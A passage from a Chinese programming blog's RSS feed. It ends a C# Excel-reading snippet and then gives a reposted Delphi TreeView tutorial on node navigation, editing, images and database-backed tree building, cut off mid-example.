InitializeComponent();</p>
<p>}</p>
<p>private void button1_Click(object sender, EventArgs e)<br>
{</p>
<p>}</p>
<p>private void button1_Click_1(object sender, EventArgs e)<br>
{<br>
OpenFileDialog openfile = new OpenFileDialog();<br>
openfile.Filter = "工作薄(*.xls)|*.xls|所有文件(*.*)|*.*";<br>
if (openfile.FilterIndex == 1 &amp;&amp; openfile.ShowDialog() == DialogResult.OK)<br>
ExcelToDS(openfile .FileName );</p>
<p>}<br>
public DataSet ExcelToDS(string path)<br>
{</p>
<p>string strConn = "Provider=Microsoft.Jet.OLEDB.4.0;" + "Data Source=" + @path + ";" + "Extended Properties=Excel 8.0;";<br>
OleDbConnection conn = new OleDbConnection(strConn);<br>
conn.Open();<br>
string strExcel = "";<br>
OleDbDataAdapter myCommand = null;<br>
DataSet ds = null;<br>
strExcel = "select * from [sheet1$]";<br>
myCommand = new OleDbDataAdapter(strExcel, strConn);<br>
DataTable table1 = new DataTable();<br>
ds = new DataSet();<br>
myCommand.Fill(table1);<br>
dataGridView1.DataSource = table1;<br>
return ds;</p>
<p>}</p>
<p>}<br>
}</p>
]]></content:encoded>
			<wfw:commentRss>http://heku.cn/c-%e8%af%bb%e5%8f%96excel-%e5%87%a0%e7%a7%8d%e6%96%b9%e6%b3%95%e7%9a%84%e9%9b%86%e5%90%88-%e8%af%bb%e5%8f%96excel%e5%a4%9asheet/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C# 树状控件TreeView很全面的基本操作用法</title>
		<link>http://heku.cn/c-%e6%a0%91%e7%8a%b6%e6%8e%a7%e4%bb%b6treeview%e5%be%88%e5%85%a8%e9%9d%a2%e7%9a%84%e5%9f%ba%e6%9c%ac%e6%93%8d%e4%bd%9c%e7%94%a8%e6%b3%95</link>
		<comments>http://heku.cn/c-%e6%a0%91%e7%8a%b6%e6%8e%a7%e4%bb%b6treeview%e5%be%88%e5%85%a8%e9%9d%a2%e7%9a%84%e5%9f%ba%e6%9c%ac%e6%93%8d%e4%bd%9c%e7%94%a8%e6%b3%95#comments</comments>
		<pubDate>Tue, 28 Dec 2010 13:35:46 +0000</pubDate>
		<dc:creator>何苦</dc:creator>
				<category><![CDATA[转载]]></category>

		<guid isPermaLink="false">http://heku.cn/?p=28847</guid>
		<description><![CDATA[一：TreeView.Items[0].Expanded := True; // 展开第一个节点 二：TreeView.Items[0].Item[0].Selected := True; // 移动到第一个节点的第一个子节点 找当前节点的下一个节点，按序号找如下： if treeview1.Selected.GetNext&#60;&#62;nil then treeview1.Selected.GetNext.Selected:=true; TreeView1.SetFocus; 找当前节点的下一个同层兄弟如下： if treeview1.Selected.getNextSibling&#60;&#62;nil then treeview1.Selected.getNextSibling.Selected:=true; TreeView1.SetFocus; TreeView.Selected.getPrevSibling&#160;&#160;//当前选中节点的上一个兄弟节点 TreeView.Selected.Parent&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;//&#160;&#160;当前选中节点的父节点 getfirstchild是跳到该节点子结点中的第一个 getlastchild是跳到该节点子结点中的最后一个 如果你是想跳到同层兄弟结点的第一个 if treeview1.selected.parent&#60;&#62;nil then treeview1.selected.parent.getfirstchild.selected:=true else treeview1.items.item[0].selected:=true; 如果你是想跳到同层兄弟结点的最后一个 if treeview1.selected.parent&#60;&#62;nil then treeview1.selected.parent.getlastchild.selected:=true else treeview1.Items.Item[treeview1.Items.Count-1].Selected:=true; TreeView的使用方法 基本信息: TreeView 是一个显示树型结构的控件,每一个节点都是一个新类, 使用具有代表性 每个节点都有四个值: TEXT:显示文字 Image Index:显示图形序号 Selected Index: State Index: (1)建立目录项(本例中使用的TREEVIEW名称为:TvwTips) 增加根目录下的节点 [...]]]></description>
			<content:encoded><![CDATA[<p>一：TreeView.Items[0].Expanded := True; // 展开第一个节点<br>
二：TreeView.Items[0].Item[0].Selected := True; // 移动到第一个节点的第一个子节点<br>
找当前节点的下一个节点，按序号找如下：<br>
if treeview1.Selected.GetNext&lt;&gt;nil then<br>
treeview1.Selected.GetNext.Selected:=true;<br>
TreeView1.SetFocus;</p>
<p>找当前节点的下一个同层兄弟如下：<br>
if treeview1.Selected.getNextSibling&lt;&gt;nil then<br>
treeview1.Selected.getNextSibling.Selected:=true;<br>
TreeView1.SetFocus;<br>
TreeView.Selected.getPrevSibling&nbsp;&nbsp;//当前选中节点的上一个兄弟节点<br>
TreeView.Selected.Parent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;当前选中节点的父节点</p>
<p>getfirstchild是跳到该节点子结点中的第一个<br>
getlastchild是跳到该节点子结点中的最后一个</p>
<p>如果你是想跳到同层兄弟结点的第一个<br>
if treeview1.selected.parent&lt;&gt;nil then<br>
treeview1.selected.parent.getfirstchild.selected:=true<br>
else<br>
treeview1.items.item[0].selected:=true;</p>
<p>如果你是想跳到同层兄弟结点的最后一个<br>
if treeview1.selected.parent&lt;&gt;nil then<br>
treeview1.selected.parent.getlastchild.selected:=true<br>
else<br>
treeview1.Items.Item[treeview1.Items.Count-1].Selected:=true;<br>
TreeView的使用方法<br>
基本信息:<br>
TreeView 是一个显示树型结构的控件,每一个节点都是一个新类,<br>
使用具有代表性<br>
每个节点都有四个值:<br>
TEXT:显示文字 Image Index:显示图形序号<br>
Selected Index:<br>
State Index:</p>
<p>(1)建立目录项(本例中使用的TREEVIEW名称为:TvwTips)</p>
<p>增加根目录下的节点 <img src='http://heku.cn/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley'> 节点)<br>
var<br>
CatNode : TTreeNode; //先建立一个TREEVIEW使用的子对象<br>
begin<br>
TvwTips.SetFocus; //将焦点置到这个TREEVIEW控件上<br>
{ 在根标题下建立一个新的子标题 }<br>
CatNode := TvwTips.Items.AddChild(<br>
TvwTips.Items.GetFirstNode,'New Category' );<br>
CatNode.ImageIndex := 1;<br>
CatNode.SelectedIndex := 2;<br>
CatNode.EditText; { 允许用户改变这个标题 }<br>
end;</p>
<p>增加下一级目录(内容):<br>
var<br>
ParentNode, TipNode : TTreeNode; //先建立TREEVIEW使用<br>
的子对象<br>
VersionNum : Integer;<br>
begin<br>
TvwTips.SetFocus; //将焦点置到这个TREEVIEW控件上<br>
VersionNum := TMenuItem( Sender ).Tag; { Ver num of new tip }<br>
ParentNode := TvwTips.Selected; { 取出当前的选中节点 }<br>
if ParentNode.Level = nlTip then{ Parent cannot be a tip node }<br>
ParentNode := TvwTips.Selected.Parent;</p>
<p>TipNode := TvwTips.Items.AddChildObject( ParentNode,'New<br>
Subject',Pointer( VersionNum ) );<br>
TipNode.ImageIndex := 3; { Normal tip bitmap }<br>
TipNode.SelectedIndex := 4; { Highlighted tip bitmap }<br>
TipNode.MakeVisible; { Move new tip node into view }<br>
TipNode.EditText; { Immediately allow user to edit subject }<br>
EnableTreeViewFunctions( TipNode.Level );<br>
RtfTip.Clear;<br>
RtfTip.Modified := False;<br>
end;</p>
<p>(2)说明<br>
TvwTips.Items.GetFirstNode 返回TREEVIEW的第一个节点,函数类型为<br>
:TTreeNode<br>
TvwTips.Items.Count 返回当前TreeView的全部节点数,整数<br>
TvwTips.Selected.Level 返回当前选中节点的在目录树中的级别,<br>
根目录为0<br>
TvwTips.Selected.Parent 返回当前选中节点上级节点,函数类型为<br>
:TTreeNode</p>
<p>三、下面这段程序是用TREEVIEW连数据库及一些操作：<br>
unit bmzd;</p>
<p>interface</p>
<p>uses<br>
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,<br>
StdCtrls, ComCtrls, Db, DBTables, ImgList, Buttons, ExtCtrls, Grids,<br>
DBGrids;</p>
<p>type<br>
Tfrmbmzd = class(TForm)<br>
Panel1: TPanel;<br>
cmd_new: TBitBtn;<br>
cmd_delete: TBitBtn;<br>
cmd_exit: TBitBtn;<br>
tvwcode: TTreeView;<br>
ScrollBox1: TScrollBox;<br>
GroupBox2: TGroupBox;<br>
Label3: TLabel;<br>
Label2: TLabel;<br>
Label1: TLabel;<br>
Label4: TLabel;<br>
Label5: TLabel;<br>
Edit2: TEdit;<br>
Edit3: TEdit;<br>
Edit4: TEdit;<br>
Edit5: TEdit;<br>
ImageList1: TImageList;<br>
Edit1: TEdit;<br>
cmd_save: TBitBtn;<br>
cmd_update: TBitBtn;<br>
procedure FormShow(Sender: TObject);<br>
procedure FormClose(Sender: TObject; var Action: TCloseAction);<br>
procedure cmd_newClick(Sender: TObject);<br>
procedure cmd_deleteClick(Sender: TObject);<br>
procedure Edit2KeyPress(Sender: TObject; var Key: Char);<br>
procedure tvwcodeChange(Sender: TObject; Node: TTreeNode);<br>
procedure cmd_updateClick(Sender: TObject);<br>
procedure BitBtn2Click(Sender: TObject);<br>
procedure tvwcodeClick(Sender: TObject);<br>
private<br>
{ Private declarations }<br>
function LoadCode(crTbl:TDBDataSet):Integer;<br>
function GetLevel(sFormat,sCode:String):Integer;</p>
<p>public<br>
{ Public declarations }<br>
end;</p>
<p>var<br>
frmbmzd: Tfrmbmzd;<br>
ii:integer;<br>
tv:ttreenode;<br>
const<br>
SCodeFormat = '222222';&nbsp;&nbsp;&nbsp;//科目代码结构<br>
SFirstNodeTxt&nbsp;&nbsp;&nbsp;= '部门分类';</p>
<p>implementation</p>
<p>uses dm;<br>
{$R *.DFM}</p>
<p>function tfrmbmzd.LoadCode(crTbl:TDBDataSet):Integer;<br>
var NowID,sName,ShowTxt:String;<br>
i,Level:Integer;<br>
MyNode:array[0..6]of TTreeNode;<br>
//保存各级节点，最长支持6级(重点)<br>
begin<br>
Screen.Cursor:=crHourGlass;<br>
Level:=0;<br>
With frmdm.tabbm do<br>
begin<br>
try<br>
if not Active then Open;<br>
First;<br>
tvwCode.Items.Clear;<br>
//以下是增加第一项<br>
MyNode[Level]:=tvwCode.Items.Add<br>
(tvwCode.TopItem,SFirstNodeTxt);<br>
MyNode[Level].ImageIndex:=0;<br>
MyNode[Level].SelectedIndex:=0;<br>
//以上是增加第一项<br>
While Not Eof do<br>
begin<br>
NowID:=Trim(FieldByName('bumeng_id').AsString);<br>
ShowTxt:=FieldByName('bumeng_name').AsString;<br>
Level:=GetLevel(SCodeFormat,NowID);<br>
//返回代码的级数<br>
//以下是增加子项<br>
//以下用上一级节点为父节点添加子节点<br>
if Level&gt;0 then//确保代码符合标准<br>
begin<br>
MyNode[Level]:=tvwCode.Items.AddChild<br>
(MyNode[Level-1],NowID+' '+ShowTxt);<br>
MyNode[Level].ImageIndex:=1;<br>
MyNode[Level].SelectedIndex:=2;<br>
end;<br>
//以上是增加子项<br>
Next;<br>
end;<br>
finally<br>
Close;<br>
end;<br>
end;<br>
MyNode[0].Expand(False);//将首节点展开<br>
Screen.Cursor:=crDefault;<br>
end;<br>
//以上函数将Code.db表中的科目代码和科目代码名称显示出来</p>
<p>//下面函数的功能是返回一代码的级数，<br>
//参数sFormat传递科目代码结构；<br>
//参数sCode传递某一科目代码<br>
function tfrmbmzd.GetLevel<br>
(sFormat,sCode:String):Integer;<br>
var i,Level,iLen:Integer;<br>
begin<br>
Level:=-1;//如果代码不符合标准，则返回-1<br>
iLen:=0;<br>
if (sFormat&lt;&gt;'')and(sCode&lt;&gt;'')then<br>
for i:=1 to Length(sFormat) do<br>
begin<br>
iLen:=iLen+StrToInt(sFormat[i]);<br>
if Length(sCode)=iLen then<br>
begin<br>
Level:=i;<br>
Break;<br>
end;<br>
end;<br>
Result:=Level;<br>
end;</p>
<p>procedure Tfrmbmzd.FormShow(Sender: TObject);<br>
begin</p>
<p>if not frmdm.tabbm.active then frmdm.tabbm.Open;<br>
frmdm.tabbm.IndexFieldNames:='BUMENG_ID';<br>
//按字段aCode排序(不要漏掉)</p>
<p>LoadCode(frmdm.tabbm);</p>
<p>end;</p>
<p>procedure Tfrmbmzd.FormClose(Sender: TObject; var Action: TCloseAction);<br>
begin<br>
Action := caFree;<br>
end;</p>
<p>procedure Tfrmbmzd.cmd_newClick(Sender: TObject);<br>
begin<br>
tvwcode.SetFocus ;<br>
if tvwcode.selected.AbsoluteIndex&lt;&gt;0 then<br>
begin<br>
cmd_delete.Enabled:=true;<br>
cmd_update.Enabled:=true;<br>
cmd_save.Enabled :=true;<br>
if not frmdm.tabbm.Active then frmdm.tabbm.Open;</p>
<p>edit1.text:=frmdm.tabbm.Fields[0].asstring;<br>
end;<br>
tvwcode.SetFocus ;<br>
tvwcode.Items.AddChild(tvwcode.selected,'新建部门');<br>
if&nbsp;&nbsp;&nbsp;tvwcode.Selected.HasChildren then<br>
begin<br>
if tvwcode.Selected.GetLastChild.index+1&gt;9 then<br>
edit2.text:=inttostr(tvwcode.Selected.GetLastChild.index+1)<br>
else<br>
edit2.text:='0'+inttostr(tvwcode.Selected.GetLastChild.index+1);<br>
edit3.text:='新建部门';<br>
edit2.Enabled:=true;<br>
edit3.Enabled:=true;<br>
end<br>
else<br>
begin<br>
edit2.text:='01';<br>
edit3.text:='新建部门';<br>
edit2.Enabled:=true;<br>
edit3.Enabled:=true;<br>
end;<br>
if not frmdm.tabbm.Active then frmdm.tabbm.Open;<br>
frmdm.tabbm.edit;<br>
frmdm.tabbm.Append;<br>
cmd_new.Enabled :=false;<br>
cmd_delete.Enabled :=false;<br>
cmd_update.Enabled :=false;<br>
cmd_save.Enabled :=true;<br>
//新建下级部门</p>
<p>tvwcode.Selected.GetLastChild.Selected:=true;<br>
//设选择<br>
tv:=tvwcode.Selected ;<br>
tvwcode.autoExpand:=true;<br>
tvwcode.SetFocus ;<br>
end;</p>
<p>procedure Tfrmbmzd.cmd_deleteClick(Sender: TObject);<br>
var<br>
I:integer;<br>
seno,setext:string;<br>
begin<br>
if tvwcode.Selected.HasChildren=true then<br>
begin<br>
application.messagebox('该部门包含下级，不能删除','提示',MB_OKCANCEL+mb_iconquestion ) ;<br>
end<br>
else<br>
begin<br>
if&nbsp;&nbsp;&nbsp;application.messagebox('你确实要删除当前部门吗','提示',MB_OKCANCEL+mb_iconquestion )=IDOK then<br>
begin<br>
setext:=tvwcode.selected.text;<br>
i:=0;<br>
while setext[i] &lt;&gt; ' ' do<br>
begin<br>
I := I + 1;<br>
seno:=seno+setext[i];<br>
end;<br>
if not frmdm.tabbm.Active then frmdm.tabbm.Open;<br>
frmdm.tabbm.setkey;<br>
frmdm.tabbm.Fields[0].asstring:=seno;<br>
if frmdm.tabbm.GotoKey then<br>
begin<br>
frmdm.tabbm.edit;<br>
frmdm.tabbm.Delete;<br>
end;<br>
tvwcode.Selected.Delete ;<br>
cmd_new.Enabled :=true;<br>
tvwcode.autoExpand:=true;<br>
tvwcode.SetFocus ;<br>
end;<br>
end;</p>
<p>end;</p>
<p>procedure Tfrmbmzd.Edit2KeyPress(Sender: TObject; var Key: Char);<br>
begin<br>
if key&nbsp;&nbsp;in ['0'..'9',Chr(vk_Back)]&nbsp;&nbsp;&nbsp;then</p>
<p>else<br>
begin<br>
key:=#0;<br>
application.messagebox('','',mb_ok);</p>
<p>end;<br>
end;</p>
<p>procedure Tfrmbmzd.tvwcodeChange(Sender: TObject; Node: TTreeNode);<br>
var<br>
i,lev:integer ;<br>
strr,seno,setext:string;<br>
begin<br>
if cmd_new.Enabled =true then<br>
begin<br>
if tvwcode.selected.AbsoluteIndex&lt;&gt;0&nbsp;&nbsp;&nbsp;then<br>
begin<br>
cmd_delete.Enabled:=true;<br>
cmd_update.Enabled:=true;<br>
cmd_save.Enabled :=true;<br>
setext:=tvwcode.selected.text;<br>
i:=0;<br>
while setext[i] &lt;&gt; ' ' do<br>
begin<br>
I := I + 1;<br>
seno:=seno+setext[i];<br>
end;<br>
if not frmdm.tabbm.Active then frmdm.tabbm.Open;<br>
frmdm.tabbm.setkey;<br>
frmdm.tabbm.Fields[0].asstring:=seno;<br>
frmdm.tabbm.GotoKey;<br>
strr:='';</p>
<p>case tvwcode.Selected.Level of<br>
2: strr:=copy(frmdm.tabbm.fields[0].asstring,1,2);<br>
3: strr:=copy(frmdm.tabbm.fields[0].asstring,1,4);<br>
end;<br>
edit1.text:=strr;<br>
//加上级编码<br>
edit3.text:=frmdm.tabbm.Fields[1].asstring;<br>
//本级编码</p>
<p>edit2.text:=copy(frmdm.tabbm.fields[0].asstring,length(frmdm.tabbm.fields[0].asstring)-1,2);</p>
<p>end<br>
else<br>
begin<br>
edit1.text :='';<br>
edit2.text :='';<br>
edit3.text :='部门分类';<br>
cmd_delete.Enabled :=false;<br>
cmd_update.Enabled :=false;<br>
end;<br>
end;<br>
end;<br>
procedure Tfrmbmzd.cmd_updateClick(Sender: TObject);<br>
var<br>
i:integer;<br>
begin<br>
for i:=0 to ComponentCount-1&nbsp;&nbsp;do<br>
begin<br>
if (Components[I]&nbsp;&nbsp;is tedit ) then<br>
(Components[I]&nbsp;&nbsp;as tedit).enabled:=false;<br>
end;<br>
for i:=0 to ComponentCount-1&nbsp;&nbsp;do<br>
begin<br>
if (Components[I]&nbsp;&nbsp;is tbitbtn ) then<br>
(Components[I]&nbsp;&nbsp;as tbitbtn).enabled:=true;<br>
end;<br>
if tvwcode.Selected.AbsoluteIndex&lt;&gt;0 then<br>
begin</p>
<p>if not frmdm.tabbm.Active&nbsp;&nbsp;then frmdm.tabbm.Open;<br>
frmdm.tabbm.Edit;<br>
frmdm.tabbm.Fields[0].asstring:=edit1.text+edit2.text;<br>
frmdm.tabbm.Fields[1].asstring:=edit3.text;<br>
try<br>
frmdm.tabbm.Post;<br>
//表的保存<br>
except<br>
on edbengineerror do<br>
begin<br>
edit2.Enabled :=true;<br>
application.messagebox('编号不能重复，请重新输入','提示',MB_OK+mb_iconquestion ) ;<br>
exit;<br>
end;<br>
end;<br>
tvwcode.Selected.Text:=edit1.text+edit2.text+' '+edit3.text;<br>
tvwcode.SetFocus ;<br>
//修改树<br>
end;</p>
<p>cmd_new.Enabled :=true;<br>
edit2.Enabled :=false;<br>
end;</p>
<p>procedure Tfrmbmzd.BitBtn2Click(Sender: TObject);<br>
begin<br>
cmd_new.Enabled :=false;<br>
cmd_delete.Enabled :=false;<br>
edit2.enabled:=true;<br>
edit3.Enabled :=true;</p>
<p>end;</p>
<p>procedure Tfrmbmzd.tvwcodeClick(Sender: TObject);<br>
var<br>
i:integer;<br>
begin<br>
if cmd_new.Enabled =false then<br>
begin<br>
application.MessageBox('当前是修改状态，请单击保存按钮','提示',mb_ok);<br>
tv.Selected :=true;<br>
end;<br>
if&nbsp;&nbsp;tvwcode.selected.AbsoluteIndex=0 then<br>
begin<br>
for i:=0 to ComponentCount-1&nbsp;&nbsp;do<br>
begin<br>
if (Components[I]&nbsp;&nbsp;is tedit ) then<br>
(Components[I]&nbsp;&nbsp;as tedit).enabled:=false;<br>
end;<br>
for i:=0 to ComponentCount-1&nbsp;&nbsp;do<br>
begin<br>
if (Components[I]&nbsp;&nbsp;is tbitbtn ) then<br>
(Components[I]&nbsp;&nbsp;as tbitbtn).enabled:=false;<br>
cmd_new.Enabled :=true;<br>
cmd_exit.Enabled :=true;<br>
end;<br>
end;<br>
end;<br>
end</p>
<p>四、使用概述<br>
树形图(Treeview)是Win95下新增加的通用显示部件(Common Control，在COMCTL32.DLL中)之一，从Delphi2.0开始也增加了相应的控件Treeview，用于取代原Outline控件。由于树形图结构较复杂，使用起来常不知如何下手。这里就使用中的一些问题作些介绍。<br>
Treeview用于显示按照树形结构进行组织的数据，这在实际当中用途还是比较广泛的，如计算机中的文件系统(Windows95中的资源管理器)、企业或公司的组成结构等等。Treeview控件中一个树形图由节点(TreeNode)和连接线组成。TtreeNode是TTreeview的基本组成单元。一个树的节点又包含文本(Text)和数据(Data)。Text为String类，Data则为无定形指针(Untyped Pointer)，可以指向一个与节点相联系的数据结构。<br>
每一个节点下子节点形成这一节点的Items属性，当前节点有一个唯一的Index(TreeNode的Index属性)，用于说明子节点在Items中的位置，每一个节点下的子节点是顺序编号的，第一个是0，第二个是1，依次类推。用IndexOf方法获得子节点的顺序，绝对顺序(AbsoluteIndex)则是指从Treeview第一个项开始的顺序值，第一个是0，如此推下去。Item属性则根据Index的值返回当前节点的第Index个子节点。Count则表明属于此项的所有子节点的数量。用MoveTo方法将Item由一个位置移到另一个位置。<br>
Expanded属性表明是否所有的子项都全部展开(包括子项的子项)，为True表示全部展开。IsVisible属性表明一个项是否在树中能被看到，如果树全部展开那么这个Item是肯定可以被看到。HasChildren属性表明一个项是否有子项。 GetFirstChild, GetLastChild, GetPrevChild, and GetNextChild分别返回当前项子项的第一个、最后一个和前一个、后一个项。GetNextSibling and GetPrevSibling则返回在同一Level下的下一个和上一个项。GetNextVisible and GetPrevVisible则返回能看得到的下一个和上一个项。如果一个节点有Parent，则HasAsParent方法返回True. Parent为当前项的父项。Focused属性确定焦点是否落在此节点上，被Focus时会一个标准的方框围住。很显然，只有一个节点会被聚焦。 Selected属性表明一个节点是否被选中，同样只有一个节点会被选中。DropTarget属性表明节点在拖动操作中是源还是目标。<br>
1.添加、删除、修改节点：<br>
静态的方法可以在设计时通过Items的编辑器设置各节点的内容。<br>
在添加和删除前必须保证有节点被选中(Treeview.Selected = nil)<br>
用AddFirst, AddFirstChild, AddChild等先添加根节点，如Treeview.Items.AddFirst( nil, 'Root')；<br>
然后以此为基础，添加此项的子节点。</p>
<p>删除节点<br>
Treeview.Selected.Delete<br>
编辑节点内容<br>
Treeview.Selected.EditText<br>
注意：由于根节点没有父节点 (TTreeNode.Parent= nil)<br>
此外，在大批量添加数据到Treeview中时最好使用<br>
TreeView.Items.BeginUpdate;<br>
添加节点<br>
TreeView.Items.EndUpdate<br>
这样能加快显示速度。</p>
<p>2.在节点上添加图象<br>
Treeview中几个与图象相关的属性：<br>
SelectedIndex：当节点被选中时在TimageList 中选什么样的图象<br>
OverlayIndex：选那副图象作为掩图（一幅图象透明地显示在另一幅图象的前面），比如一个节点不可用时加一副X图象在其前面。<br>
ImageIndex：在常态时选用的图的序号<br>
StateIndex： 在StateImages这个ImageList中对应的序号，-1时不显示图象<br>
比较典型的，象在文件管理器中的所显示的一样，Treeview控件在节点之前也可以显示图象。在Form中放置一ImageList控件，加入几个图片，分别被Index为0,1,…在Treeview的Image属性项填入你所加入的ImageList的控件名称。TreeNode的ImageIndex表示节点未被选中时(Selected=nil)的图片序号，SelectedIndex表示节点被选中时图片序号。</p>
<p>3.关于Level<br>
Level的概念可以用下图表示：<br>
Level0　　 Level1 Level2</p>
<p>4.排序<br>
SortType决定什么时候进行排序；<br>
TreeView.AlphaSort对节点进行排序，如果不能满足要求，你可以定义自己的CustomSort方法。<br>
5.Drag&amp;Drop操作，与标准的拖放操作使用方法一样。</p>
<p>五、一个例子：<br>
首先，在库的构建上要有一定策略以下几个字段非常重要：<br>
'codeID'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;代码集名称 （例如：'AB'）<br>
'code'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;节点代码&nbsp;&nbsp;&nbsp;（例如：'新疆'节点的代码为'65'，'乌鲁木齐'的节点代码为'6501'等）<br>
'description' 节点描述&nbsp;&nbsp;&nbsp;（例如：如上面的'新疆'、'乌鲁木齐'等）<br>
'pptr'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;父节点代码（例如：'乌鲁木齐'节点的父代码为'65'，最高层节点的父节点代码可同其代码集，例如：'新疆'的父节点为&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'AB'）<br>
'cptr'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;子节点标识 （例如：该节点是否有下级节点，有则取值'1'，没有则取值'0'）</p>
<p>建立树由两部分构成：</p>
<p>procedure TForm1.FormActivate(Sender: TObject);<br>
var<br>
code_ID,new_sql,node_text,table_name:string;<br>
new_node:Ttreenode;<br>
begin</p>
<p>//要传递的参数<br>
code_ID:='AB';<br>
table_name:='sr_codeitem';</p>
<p>//********<br>
treeview1.Items.BeginUpdate;</p>
<p>//清空所有项目<br>
treeview1.Items.Clear;<br>
new_sql:='select * from '+ table_name + ' where codeID='+''''+code_ID+''''<br>
+ ' and '+'pptr='+''''+code_ID+'''';<br>
//数据集中先筛选出所有要增加节点<br>
with dm1.Query1 do<br>
begin<br>
close;<br>
sql.Clear;<br>
sql.Add(new_sql);<br>
open;<br>
//增加第一层节点<br>
while not eof do<br>
begin<br>
node_text:=fieldbyname('code').asstring;<br>
node_text:=node_text+'&nbsp;&nbsp;&nbsp;'+fieldbyname('description').asstring;<br>
new_node:=treeview1.Items.add(nil,node_text);<br>
new_node.HasChildren:=true;<br>
next;<br>
end;//end while<br>
end;//end with</p>
<p>treeview1.Items.EndUpdate;<br>
end;</p>
<p>procedure TForm1.TreeView1Expanding(Sender: TObject; Node: TTreeNode;<br>
var AllowExpansion: Boolean);<br>
var<br>
new_sql,node_text,child_text,code_ID,table_ID:string;<br>
child_node:Ttreenode;<br>
begin<br>
//获取参数<br>
code_ID:='AB';<br>
table_ID:='sr_codeitem';</p>
<p>treeview1.Items.BeginUpdate;<br>
node_text:=node.Text;<br>
//截取所点击节点的code<br>
node_text:=copy(node_text,1,pos(' ',node_text)-1);<br>
with dm1.Query1 do<br>
begin<br>
close;<br>
sql.Clear;<br>
new_sql:='select * from '+table_ID+' where pptr='+''''+node_text+'''' + ' and codeID='<br>
+''''+code_ID+'''';<br>
sql.Add(new_sql);<br>
open;//定位所点的项<br>
//清除原来的下级节点<br>
node.DeleteChildren;<br>
while not eof do<br>
begin//增加下级节点<br>
child_text:=fieldbyname('code').asstring+'&nbsp;&nbsp;&nbsp;'+fieldbyname('description').asstring;<br>
child_node:=treeview1.Items.AddChild(node,child_text);<br>
if fieldbyname('cptr').asstring='1' then<br>
child_node.HasChildren:=true;<br>
next;<br>
end;//end while</p>
<p>end;//end with<br>
treeview1.Items.EndUpdate;<br>
end;<br>
第二部分：在 treeview 的onExpanding 事件中添加如下代码<br>
procedure TForm1.TreeView1Expanding(Sender: TObject; Node: TTreeNode;<br>
var AllowExpansion: Boolean);<br>
var<br>
new_sql,node_text,child_text,code_ID,table_ID:string;<br>
child_node:Ttreenode;<br>
begin<br>
//获取参数<br>
code_ID:='AB';<br>
table_ID:='sr_codeitem';</p>
<p>treeview1.Items.BeginUpdate;<br>
node_text:=node.Text;<br>
//截取所点击节点的code<br>
node_text:=copy(node_text,1,pos(' ',node_text)-1);<br>
with dm1.Query1 do<br>
begin<br>
close;<br>
sql.Clear;<br>
new_sql:='select * from '+table_ID+' where pptr='+''''+node_text+'''' + ' and codeID='<br>
+''''+code_ID+'''';<br>
sql.Add(new_sql);<br>
open;//定位所点的项<br>
//清除原来的下级节点<br>
node.DeleteChildren;<br>
while not eof do<br>
begin//增加下级节点<br>
child_text:=fieldbyname('code').asstring+'&nbsp;&nbsp;&nbsp;'+fieldbyname('description').asstring;<br>
child_node:=treeview1.Items.AddChild(node,child_text);<br>
if fieldbyname('cptr').asstring='1' then<br>
child_node.HasChildren:=true;<br>
next;<br>
end;//end while</p>
<p>end;//end with<br>
treeview1.Items.EndUpdate;<br>
end;</p>
<p>六、让我们一个一个来回答：<br>
第一个：取出节点的text属性值，赋给Richedit的Lines.text即可；<br>
例如： self.RichEdit1.Lines.text:= self.Treeview1.selected.text;<br>
第二个：TtreeView控件有函数保存和载入树的结构到文件<br>
例如：self.Treeview1.SaveToFile('文件名');//保存结构<br>
self.TreeView1.LoadFromFile('文件名');//载入结构<br>
第三个：TreeView的每个节点都有ItemID(句柄),AbsoluteIndex(相对于树头节点的索引位置)，<br>
Index(在当前层的位置)，Level（本节点的层数）通过访问这些可以知道其位置；<br>
例如：self.TtreeView1.selected.ItemID;//返回句柄<br>
self.TreeView1.selected.Level;//返回层数<br>
self.TreeView1.Items.count//返回所有节点的个数；<br>
**寻找某一个节点的话，就只有写一个循环来遍历整个树，直到找到符合条件的节点为止，<br>
关于查找节点的代码我也在想，先参考上面同志们的回答吧；</p>
<p>？？**为某个节点加上子节点，例如:<br>
var NewNode:TTreeNode;<br>
begin<br>
NewNode:=self.Treeview1.Items.addChild(self.Treeview1.Items[3],'新的字节点');<br>
//为self.Treeview1.Items[3]加上一个字节点,标签是'新的字节点'，<br>
//还有其他的ADD方法，可以查找Delphi帮助<br>
//然后可以给刚加上去的子节点赋值；<br>
NewNode.ImageIndex:=n;<br>
NewNode.SelectedIndex:=M;<br>
NewNode.Data:=X;//注意X是一个指针类型；关于这方面的帮助<br>
//可以找一下TTreeNode.Data 属性例子<br>
end;<br>
？？**想选中某个节点：self.TreeView1.Items[n].selected:=true;//这样就选中了<br>
？？**展开某节点就容易了：self.TreeView1.Items[n].Expand;//展开啦！<br>
//想合上就用Collapse(Recurse: Boolean)函数，<br>
总之呢，去查一下TtreeNode的帮助吧！<br>
？？**清除某节点下的所有子节点，用DeleteChildren是没错的，例如：<br>
self.Treeview1.Items[n].DeleteChildren;//OK,下面都没了！</p>
<p>七、query1.close;<br>
query1.sql.clear;<br>
query1.sql.add('select * from t08 order by t0801');<br>
try<br>
query1.open;<br>
except<br>
on e:exception do<br>
begin<br>
application.MessageBox(pchar('打开数据库文件失败！'+#13+#13+e.Message),'错误信息',16);<br>
close;<br>
exit;<br>
end;<br>
end;<br>
//创建结构树<br>
while not query1.eof do<br>
begin<br>
s:=trim(query1.fields[0].asstring);<br>
case length(s) of<br>
2:begin<br>
